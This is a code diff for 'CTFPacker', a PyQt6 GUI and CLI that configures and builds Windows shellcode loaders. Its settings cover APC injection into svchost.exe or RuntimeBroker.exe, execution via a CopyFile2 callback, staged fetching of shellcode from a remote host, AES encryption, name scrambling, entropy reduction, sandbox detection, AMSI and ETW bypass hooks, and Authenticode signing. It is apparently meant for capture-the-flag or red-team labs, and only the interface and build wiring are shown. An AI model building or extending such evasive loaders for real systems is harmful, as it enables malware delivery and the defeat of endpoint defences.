https=self._https_check.isChecked(),
user_agent=self._ua_edit.text(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
sandbox_min_ram_gb=self._sb_ram_spin.value(),
sandbox_min_cpu=self._sb_cpu_spin.value(),
bypass_amsi=self._amsi_check.isChecked(),
bypass_etw=self._etw_check.isChecked(),
debug_mode=self._debug_check.isChecked(),
pfx=self._pfx_edit.text() or None,
pfx_password=self._pfx_pass_edit.text() or None,
sign_description=self._sign_desc_edit.text().strip(),
sign_url=self._sign_url_edit.text().strip(),
output=self._output_edit.text() or "ctfloader",
)
self.build_requested.emit(config)
def _apply_config(self, config: BuildConfig):
self._payload_edit.setText(config.payload_path)
self._format_combo.setCurrentText(config.format)
self._inject_combo.setCurrentText(config.inject_method)
self._target_combo.setCurrentText(config.target_process)
self._ip_edit.setText(config.ip_address)
self._port_spin.setValue(config.port)
self._path_edit.setText(config.path)
self._https_check.setChecked(config.https)
self._ua_edit.setText(config.user_agent)
self._encrypt_check.setChecked(config.encrypt)
self._scramble_check.setChecked(config.scramble)
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4))
self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2))
self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False))
self._etw_check.setChecked(getattr(config, 'bypass_etw', False))
self._debug_check.setChecked(getattr(config, 'debug_mode', False))
self._pfx_edit.setText(config.pfx or "")
self._pfx_pass_edit.setText("") # never restored — password is not persisted
self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "")
self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "")
self._output_edit.setText(config.output)
def _reset_defaults(self):
"""Reset all fields to BuildConfig defaults."""
self._apply_config(BuildConfig(mode="staged"))
self._profile_combo.setCurrentIndex(0)
# -- Profile management --
def _refresh_profiles(self):
self._profile_combo.blockSignals(True)
self._profile_combo.clear()
self._profile_combo.addItem("")
for name in self._history.list_profiles("staged"):
self._profile_combo.addItem(name)
self._profile_combo.blockSignals(False)
def _load_profile(self, name: str):
if not name:
return
config = self._history.load_profile("staged", name)
if config:
self._apply_config(config)
def _save_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
name, ok = dlg_text(self, "Save Profile", "Profile name:")
if not ok or not name.strip():
return
name = name.strip()
config = BuildConfig(
mode="staged",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
target_process=self._target_combo.currentText(),
ip_address=self._ip_edit.text(),
port=self._port_spin.value(),
path=self._path_edit.text(),
https=self._https_check.isChecked(),
user_agent=self._ua_edit.text(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
sandbox_min_ram_gb=self._sb_ram_spin.value(),
sandbox_min_cpu=self._sb_cpu_spin.value(),
bypass_amsi=self._amsi_check.isChecked(),
bypass_etw=self._etw_check.isChecked(),
debug_mode=self._debug_check.isChecked(),
pfx=self._pfx_edit.text() or None,
pfx_password=self._pfx_pass_edit.text() or None,
sign_description=self._sign_desc_edit.text().strip(),
sign_url=self._sign_url_edit.text().strip(),
output=self._output_edit.text() or "ctfloader",
)
self._history.save_profile("staged", name, config)
self._refresh_profiles()
self._profile_combo.setCurrentText(name)
def _delete_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
return
if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"):
self._history.delete_profile("staged", name)
self._refresh_profiles()
def _export_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
dlg_warn(self, "No Profile Selected",
"Select a saved profile before exporting.")
return
try:
data = self._history.export_profile("staged", name)
except KeyError:
dlg_warn(self, "Export Failed",
f"Profile '{name}' could not be found.")
return
path, _ = QFileDialog.getSaveFileName(
self, "Export Profile", f"{name}.ctfp",
"CTFPacker Profile (*.ctfp);;All Files (*)")
if not path:
return
try:
with open(path, "w") as fh:
json.dump(data, fh, indent=2)
except IOError as exc:
dlg_error(self, "Export Failed", f"Could not write file:\n{exc}")
def _import_profile(self):
path, _ = QFileDialog.getOpenFileName(
self, "Import Profile", "",
"CTFPacker Profile (*.ctfp);;All Files (*)")
if not path:
return
try:
with open(path, "r") as fh:
data = json.load(fh)
except (json.JSONDecodeError, IOError) as exc:
dlg_error(self, "Import Failed",
f"Could not read profile file:\n{exc}")
return
profile_mode = data.get("mode", "")
profile_name = data.get("name", "").strip()
if profile_mode not in ("staged", "stageless"):
dlg_error(self, "Import Failed",
"Invalid profile file: unknown mode.")
return
if profile_mode != "staged":
if not dlg_ask(self, "Mode Mismatch",
f"This profile is for the <b>{profile_mode}</b> tab, "
f"not staged.\nIt will be imported into the "
f"<b>{profile_mode}</b> profile list.\n\nContinue?",
default_yes=True):
return
if profile_name in self._history.list_profiles(profile_mode):
if not dlg_ask(self, "Profile Exists",
f"A profile named '{profile_name}' already exists "
f"in the {profile_mode} tab.\nOverwrite?"):
return
try:
mode, name = self._history.import_profile(data)
except ValueError as exc:
dlg_error(self, "Import Failed", str(exc))
return
self.profile_imported.emit()
if mode == "staged":
self._profile_combo.setCurrentText(name)
else:
dlg_info(self, "Profile Imported",
f"Profile '{name}' imported into the {mode} tab.")
+623
View File
@@ -0,0 +1,623 @@
# -*- coding: utf-8 -*-
"""Stageless payload configuration tab."""
import os
import json
from PyQt6.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel,
QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox,
QScrollArea, QFrame, QListWidget, QStackedWidget,
QListWidgetItem, QFileDialog
)
from PyQt6.QtCore import pyqtSignal, Qt
from PyQt6.QtGui import QKeySequence, QShortcut
from core.build_config import BuildConfig
from gui.theme import TEXT_DIM
from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text
from gui.history import HistoryManager
REQ = " *"
class StagelessTab(QWidget):
"""Form for stageless payload configuration."""
build_requested = pyqtSignal(object) # emits BuildConfig
profile_imported = pyqtSignal() # emitted after a .ctfp import
def __init__(self, history_manager: HistoryManager, parent=None):
super().__init__(parent)
self._history = history_manager
self._setup_ui()
self._setup_tooltips()
self._setup_shortcuts()
self._connect_adaptive()
self._refresh_profiles()
# ── Page indices ──────────────────────────────────────────────────────
PAGE_PAYLOAD = 0
PAGE_FORMAT = 1
PAGE_EVASION = 2
PAGE_SIGNING = 3
PAGE_OUTPUT = 4
def _setup_ui(self):
outer = QVBoxLayout(self)
outer.setContentsMargins(0, 0, 0, 0)
outer.setSpacing(0)
# ── Top bar: Profiles ──────────────────────────────────────────────
bar = QWidget()
bar.setObjectName("profilesBar")
bl = QHBoxLayout(bar)
bl.setContentsMargins(12, 7, 12, 7)
self._profile_combo = QComboBox()
self._profile_combo.setMinimumWidth(180)
self._profile_combo.currentTextChanged.connect(self._load_profile)
self._save_btn = QPushButton("Save")
self._save_btn.clicked.connect(self._save_profile)
delete_btn = QPushButton("Delete")
delete_btn.setObjectName("deleteButton")
delete_btn.clicked.connect(self._delete_profile)
export_btn = QPushButton("Export ↑")
export_btn.setToolTip("Export selected profile to a .ctfp file")
export_btn.clicked.connect(self._export_profile)
import_btn = QPushButton("Import ↓")
import_btn.setToolTip("Import a .ctfp profile file")
import_btn.clicked.connect(self._import_profile)
bl.addWidget(QLabel("Profile:"))
bl.addWidget(self._profile_combo, stretch=1)
bl.addWidget(self._save_btn)
bl.addWidget(delete_btn)
bl.addWidget(export_btn)
bl.addWidget(import_btn)
outer.addWidget(bar)
# ── Body: sidebar + pages ──────────────────────────────────────────
body = QWidget()
body_layout = QHBoxLayout(body)
body_layout.setContentsMargins(0, 0, 0, 0)
body_layout.setSpacing(0)
self._nav = QListWidget()
self._nav.setObjectName("sideNav")
self._nav.setFixedWidth(148)
self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
for name in ("Payload", "Format", "Evasion", "Code Signing", "Output"):
self._nav.addItem(name)
vdiv = QFrame()
vdiv.setFrameShape(QFrame.Shape.VLine)
vdiv.setFrameShadow(QFrame.Shadow.Plain)
self._stack = QStackedWidget()
self._stack.addWidget(self._page_payload())
self._stack.addWidget(self._page_format())
self._stack.addWidget(self._page_evasion())
self._stack.addWidget(self._page_signing())
self._stack.addWidget(self._page_output())
self._nav.currentRowChanged.connect(self._stack.setCurrentIndex)
self._nav.setCurrentRow(0)
body_layout.addWidget(self._nav)
body_layout.addWidget(vdiv)
body_layout.addWidget(self._stack, stretch=1)
outer.addWidget(body, stretch=1)
# ── Bottom bar: BUILD + Reset ──────────────────────────────────────
sep_bot = QFrame()
sep_bot.setFrameShape(QFrame.Shape.HLine)
sep_bot.setFrameShadow(QFrame.Shadow.Plain)
outer.addWidget(sep_bot)
footer = QWidget()
footer.setObjectName("buildFooter")
fl = QHBoxLayout(footer)
fl.setContentsMargins(12, 8, 12, 8)
self._build_btn = QPushButton("BUILD")
self._build_btn.setObjectName("buildButton")
self._build_btn.clicked.connect(self._on_build)
self._reset_btn = QPushButton("Reset")
self._reset_btn.setToolTip("Reset all fields to defaults")
self._reset_btn.setFixedWidth(80)
self._reset_btn.clicked.connect(self._reset_defaults)
fl.addWidget(self._build_btn, stretch=1)
fl.addWidget(self._reset_btn)
outer.addWidget(footer)
# ── Page helpers ───────────────────────────────────────────────────────
def _make_page(self):
"""Scroll-wrapped page container. Returns (scroll_widget, layout)."""
inner = QWidget()
layout = QVBoxLayout(inner)
layout.setContentsMargins(28, 22, 28, 22)
layout.setSpacing(16)
scroll = QScrollArea()
scroll.setWidgetResizable(True)
scroll.setFrameShape(QFrame.Shape.NoFrame)
scroll.setWidget(inner)
return scroll, layout
def _page_header(self, title: str, subtitle: str = "") -> QWidget:
"""Consistent page title + thin rule."""
w = QWidget()
vl = QVBoxLayout(w)
vl.setContentsMargins(0, 0, 0, 6)
vl.setSpacing(3)
t = QLabel(title)
t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;")
vl.addWidget(t)
if subtitle:
s = QLabel(subtitle)
s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;")
vl.addWidget(s)
line = QFrame()
line.setFrameShape(QFrame.Shape.HLine)
line.setFrameShadow(QFrame.Shadow.Plain)
vl.addWidget(line)
return w
# ── Pages ──────────────────────────────────────────────────────────────
def _page_payload(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader"))
self._payload_edit = DropZone(
file_filter="Binary Files (*.bin);;All Files (*)",
filter_exts=['.bin'],
hint_text="Drag & drop shellcode (.bin) here",
browse_title="Select Shellcode Binary",
parent=self)
self._payload_edit.path_changed.connect(
lambda: self._clear_validation(self._payload_edit))
layout.addWidget(self._payload_edit)
layout.addStretch()
return page
def _page_format(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Output Format", "Loader type and injection technique"))
form = QFormLayout()
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form.setHorizontalSpacing(12)
form.setVerticalSpacing(10)
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint)
self._format_combo = QComboBox()
self._format_combo.addItems(["EXE", "DLL"])
self._format_combo.setMinimumWidth(140)
form.addRow("Format:", self._format_combo)
self._inject_combo = QComboBox()
self._inject_combo.addItems(["apc", "copyfile2"])
self._inject_combo.setMinimumWidth(140)
form.addRow("Injection:", self._inject_combo)
self._target_label = QLabel("Target process:")
self._target_combo = QComboBox()
self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"])
self._target_combo.setMinimumWidth(140)
form.addRow(self._target_label, self._target_combo)
layout.addLayout(form)
layout.addStretch()
return page
def _page_evasion(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques"))
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
self._scramble_check = QCheckBox("Scramble functions and variables")
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
self._sandbox_check = QCheckBox("Sandbox checks")
for check in (self._encrypt_check, self._scramble_check,
self._entropy_check, self._sandbox_check):
layout.addWidget(check)
self._sb_thresh_row = QWidget()
thresh_layout = QHBoxLayout(self._sb_thresh_row)
thresh_layout.setContentsMargins(22, 0, 0, 0)
thresh_layout.setSpacing(5)
self._sb_uptime_lbl = QLabel("uptime")
self._sb_uptime_spin = QSpinBox()
self._sb_uptime_spin.setRange(0, 86400)
self._sb_uptime_spin.setSingleStep(60)
self._sb_uptime_spin.setValue(300)
self._sb_uptime_spin.setSuffix(" s")
self._sb_uptime_spin.setFixedWidth(72)
self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample")
self._sb_ram_lbl = QLabel("RAM")
self._sb_ram_spin = QSpinBox()
self._sb_ram_spin.setRange(1, 512)
self._sb_ram_spin.setValue(4)
self._sb_ram_spin.setSuffix(" GB")
self._sb_ram_spin.setFixedWidth(76)
self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained")
self._sb_cpu_lbl = QLabel("CPUs")
self._sb_cpu_spin = QSpinBox()
self._sb_cpu_spin.setRange(1, 256)
self._sb_cpu_spin.setValue(2)
self._sb_cpu_spin.setSuffix(" CPU")
self._sb_cpu_spin.setFixedWidth(76)
self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU")
for lbl, spin in (
(self._sb_uptime_lbl, self._sb_uptime_spin),
(self._sb_ram_lbl, self._sb_ram_spin),
(self._sb_cpu_lbl, self._sb_cpu_spin),
):
thresh_layout.addWidget(lbl)
thresh_layout.addWidget(spin)
thresh_layout.addSpacing(12)
thresh_layout.addStretch()
self._sb_thresh_row.setVisible(False)
self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible)
layout.addWidget(self._sb_thresh_row)
# ── Trampoline hooks (TrampoLatté) ───────────────────────────────
sep = QFrame()
sep.setFrameShape(QFrame.Shape.HLine)
sep.setFrameShadow(QFrame.Shadow.Plain)
layout.addSpacing(6)
layout.addWidget(sep)
hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)")
hooks_lbl.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
"letter-spacing: 0.6px; text-transform: uppercase; "
"background: transparent; border: none;")
layout.addWidget(hooks_lbl)
self._amsi_check = QCheckBox("AMSI bypass")
self._amsi_check.setToolTip(
"Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n"
"Bypasses .NET / PowerShell AMSI scanning.")
self._etw_check = QCheckBox("ETW bypass")
self._etw_check.setToolTip(
"Trampolines EtwpEventWriteFull → immediate RET.\n"
"Silences ETW telemetry from the CLR / runtime.")
self._debug_check = QCheckBox("Debug mode (OutputDebugString)")
self._debug_check.setToolTip(
"Enables [TrampoLatte] debug prints via OutputDebugStringA.\n"
"Visible in x64dbg / WinDbg / DebugView. Disable for production.")
layout.addWidget(self._amsi_check)
layout.addWidget(self._etw_check)
layout.addWidget(self._debug_check)
layout.addStretch()
return page
def _page_signing(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate"))
self._pfx_edit = DropZone(
hint_text="Drag & drop certificate (.pfx) here",
browse_title="Select PFX certificate",
file_filter="PFX Files (*.pfx);;All Files (*)",
filter_exts=[".pfx"],
parent=self)
layout.addWidget(self._pfx_edit)
form_sign = QFormLayout()
form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form_sign.setHorizontalSpacing(12)
form_sign.setVerticalSpacing(10)
form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
self._pfx_pass_edit = QLineEdit()
self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password)
form_sign.addRow("PFX Password:", self._pfx_pass_edit)
layout.addLayout(form_sign)
sep = QFrame()
sep.setFrameShape(QFrame.Shape.HLine)
sep.setFrameShadow(QFrame.Shadow.Plain)
layout.addSpacing(4)
layout.addWidget(sep)
meta_label = QLabel("Signature Metadata")
meta_label.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
"letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;")
layout.addWidget(meta_label)
form_meta = QFormLayout()
form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form_meta.setHorizontalSpacing(12)
form_meta.setVerticalSpacing(10)
form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
self._sign_desc_edit = QLineEdit()
self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)")
self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.")
form_meta.addRow("Publisher Name:", self._sign_desc_edit)
self._sign_url_edit = QLineEdit()
self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)")
self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.")
form_meta.addRow("Publisher URL:", self._sign_url_edit)
layout.addLayout(form_meta)
layout.addStretch()
return page
def _page_output(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Output", "Output file path and base name"))
out_row, self._output_edit = file_picker_row(
self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True)
layout.addLayout(out_row)
layout.addStretch()
return page
def _setup_tooltips(self):
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
self._inject_combo.setToolTip(
"APC: Queue APC to suspended process (stealthier)\n"
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
self._pfx_pass_edit.setToolTip("Password for the PFX certificate file")
self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)")
self._build_btn.setToolTip("Start the build (Ctrl+B)")
self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)")
def _setup_shortcuts(self):
QShortcut(QKeySequence("Ctrl+B"), self, self._on_build)
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
def _connect_adaptive(self):
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
self._format_combo.currentTextChanged.connect(self._on_format_changed)
self._on_inject_changed(self._inject_combo.currentText())
self._on_format_changed(self._format_combo.currentText())
def _on_inject_changed(self, method: str):
is_apc = method == "apc"
self._target_label.setVisible(is_apc)
self._target_combo.setVisible(is_apc)
def _on_format_changed(self, fmt: str):
is_exe = fmt == "EXE"
item = self._nav.item(self.PAGE_SIGNING)
if is_exe:
item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)
else:
item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable))
if self._nav.currentRow() == self.PAGE_SIGNING:
self._nav.setCurrentRow(self.PAGE_OUTPUT)
def set_build_enabled(self, enabled: bool):
self._build_btn.setEnabled(enabled)
if enabled:
self._build_btn.setText("BUILD")
else:
self._build_btn.setText("BUILDING...")
def _validate(self) -> bool:
errors = []
payload = self._payload_edit.text().strip()
if not payload:
self._set_validation_error(self._payload_edit)
errors.append("Payload file")
elif not os.path.isfile(payload):
self._set_validation_error(self._payload_edit)
errors.append(f"Payload file not found: {payload}")
if errors:
dlg_warn(self, "Missing Required Fields",
f"Please fill in: {', '.join(errors)}")
return False
return True
@staticmethod
def _set_validation_error(widget):
widget.setProperty("validationError", True)
widget.style().unpolish(widget)
widget.style().polish(widget)
@staticmethod
def _clear_validation(widget):
if widget.property("validationError"):
widget.setProperty("validationError", False)
widget.style().unpolish(widget)
widget.style().polish(widget)
def _on_build(self):
if not self._build_btn.isEnabled():
return
if not self._validate():
return
config = BuildConfig(
mode="stageless",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
target_process=self._target_combo.currentText(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
sandbox_min_ram_gb=self._sb_ram_spin.value(),
sandbox_min_cpu=self._sb_cpu_spin.value(),
bypass_amsi=self._amsi_check.isChecked(),
bypass_etw=self._etw_check.isChecked(),
debug_mode=self._debug_check.isChecked(),
pfx=self._pfx_edit.text() or None,
pfx_password=self._pfx_pass_edit.text() or None,
sign_description=self._sign_desc_edit.text().strip(),
sign_url=self._sign_url_edit.text().strip(),
output=self._output_edit.text() or "ctfloader",
)
self.build_requested.emit(config)
def _apply_config(self, config: BuildConfig):
self._payload_edit.setText(config.payload_path)
self._format_combo.setCurrentText(config.format)
self._inject_combo.setCurrentText(config.inject_method)
self._target_combo.setCurrentText(config.target_process)
self._encrypt_check.setChecked(config.encrypt)
self._scramble_check.setChecked(config.scramble)
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4))
self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2))
self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False))
self._etw_check.setChecked(getattr(config, 'bypass_etw', False))
self._debug_check.setChecked(getattr(config, 'debug_mode', False))
self._pfx_edit.setText(config.pfx or "")
self._pfx_pass_edit.setText("") # never restored — password is not persisted
self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "")
self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "")
self._output_edit.setText(config.output)
def _reset_defaults(self):
"""Reset all fields to BuildConfig defaults."""
self._apply_config(BuildConfig(mode="stageless"))
self._profile_combo.setCurrentIndex(0)
# -- Profile management --
def _refresh_profiles(self):
self._profile_combo.blockSignals(True)
self._profile_combo.clear()
self._profile_combo.addItem("")
for name in self._history.list_profiles("stageless"):
self._profile_combo.addItem(name)
self._profile_combo.blockSignals(False)
def _load_profile(self, name: str):
if not name:
return
config = self._history.load_profile("stageless", name)
if config:
self._apply_config(config)
def _save_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
name, ok = dlg_text(self, "Save Profile", "Profile name:")
if not ok or not name.strip():
return
name = name.strip()
config = BuildConfig(
mode="stageless",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
target_process=self._target_combo.currentText(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
sandbox_min_ram_gb=self._sb_ram_spin.value(),
sandbox_min_cpu=self._sb_cpu_spin.value(),
bypass_amsi=self._amsi_check.isChecked(),
bypass_etw=self._etw_check.isChecked(),
debug_mode=self._debug_check.isChecked(),
pfx=self._pfx_edit.text() or None,
pfx_password=self._pfx_pass_edit.text() or None,
sign_description=self._sign_desc_edit.text().strip(),
sign_url=self._sign_url_edit.text().strip(),
output=self._output_edit.text() or "ctfloader",
)
self._history.save_profile("stageless", name, config)
self._refresh_profiles()
self._profile_combo.setCurrentText(name)
def _delete_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
return
if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"):
self._history.delete_profile("stageless", name)
self._refresh_profiles()
def _export_profile(self):
name = self._profile_combo.currentText().strip()
if not name:
dlg_warn(self, "No Profile Selected",
"Select a saved profile before exporting.")
return
try:
data = self._history.export_profile("stageless", name)
except KeyError:
dlg_warn(self, "Export Failed",
f"Profile '{name}' could not be found.")
return
path, _ = QFileDialog.getSaveFileName(
self, "Export Profile", f"{name}.ctfp",
"CTFPacker Profile (*.ctfp);;All Files (*)")
if not path:
return
try:
with open(path, "w") as fh:
json.dump(data, fh, indent=2)
except IOError as exc:
dlg_error(self, "Export Failed", f"Could not write file:\n{exc}")
def _import_profile(self):
path, _ = QFileDialog.getOpenFileName(
self, "Import Profile", "",
"CTFPacker Profile (*.ctfp);;All Files (*)")
if not path:
return
try:
with open(path, "r") as fh:
data = json.load(fh)
except (json.JSONDecodeError, IOError) as exc:
dlg_error(self, "Import Failed",
f"Could not read profile file:\n{exc}")
return
profile_mode = data.get("mode", "")
profile_name = data.get("name", "").strip()
if profile_mode not in ("staged", "stageless"):
dlg_error(self, "Import Failed",
"Invalid profile file: unknown mode.")
return
if profile_mode != "stageless":
if not dlg_ask(self, "Mode Mismatch",
f"This profile is for the <b>{profile_mode}</b> tab, "
f"not stageless.\nIt will be imported into the "
f"<b>{profile_mode}</b> profile list.\n\nContinue?",
default_yes=True):
return
if profile_name in self._history.list_profiles(profile_mode):
if not dlg_ask(self, "Profile Exists",
f"A profile named '{profile_name}' already exists "
f"in the {profile_mode} tab.\nOverwrite?"):
return
try:
mode, name = self._history.import_profile(data)
except ValueError as exc:
dlg_error(self, "Import Failed", str(exc))
return
self.profile_imported.emit()
if mode == "stageless":
self._profile_combo.setCurrentText(name)
else:
dlg_info(self, "Profile Imported",
f"Profile '{name}' imported into the {mode} tab.")
+25
View File
@@ -0,0 +1,25 @@
# -*- coding: utf-8 -*-
"""Background build worker thread."""
from PyQt6.QtCore import QThread, pyqtSignal
from core.build_config import BuildConfig
from core.build_engine import BuildEngine
class BuildWorker(QThread):
"""Runs BuildEngine.build() in a background thread."""
log_message = pyqtSignal(str, str) # (message, level)
build_finished = pyqtSignal(bool) # success
def __init__(self, config: BuildConfig, parent=None):
super().__init__(parent)
self._config = config
def run(self):
def log_cb(message, level):
self.log_message.emit(message, level)
engine = BuildEngine(log_cb)
success = engine.build(self._config)
self.build_finished.emit(success)
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GUI entry point for CTFPacker."""
from gui.app import run_gui
if __name__ == "__main__":
run_gui()
+52 -767
View File
@@ -5,805 +5,90 @@ Author: mocha
X (Twitter): @mochabyte0x
'''
import os
import sys
import random
import subprocess
import shutil, errno
from importlib import resources
from core.hashing import Hasher
from argparse import ArgumentParser
from core.utils import Colors, banner
from core.encryption import Encryption
from core.build_config import BuildConfig
from core.build_engine import BuildEngine
def cli_log(message: str, level: str):
"""Print build messages with CLI color coding."""
if level == "success":
print(Colors.green(f"[+] {message}"))
elif level == "warning":
print(Colors.light_yellow(f"[+] {message}"))
elif level == "error":
print(Colors.red(f"[!] {message}"))
else:
print(Colors.green(f"[i] {message}"))
def main():
parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte")
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
# Creating the parser first
parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte")
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
# Creating the subparsers
parser_staged = subparsers.add_parser("staged", help="Staged")
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
# Creating the arguments for the staged subcommand
# Staged subcommand
parser_staged = subparsers.add_parser("staged", help="Staged")
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
parser_staged.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).")
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode is gonna be fetched.", required=True)
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
parser_staged.add_argument("--https", action="store_true", help="Use HTTPS instead of HTTP for downloading shellcode.")
parser_staged.add_argument("--user-agent", type=str, default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", help="Custom User-Agent string for HTTP/HTTPS requests.")
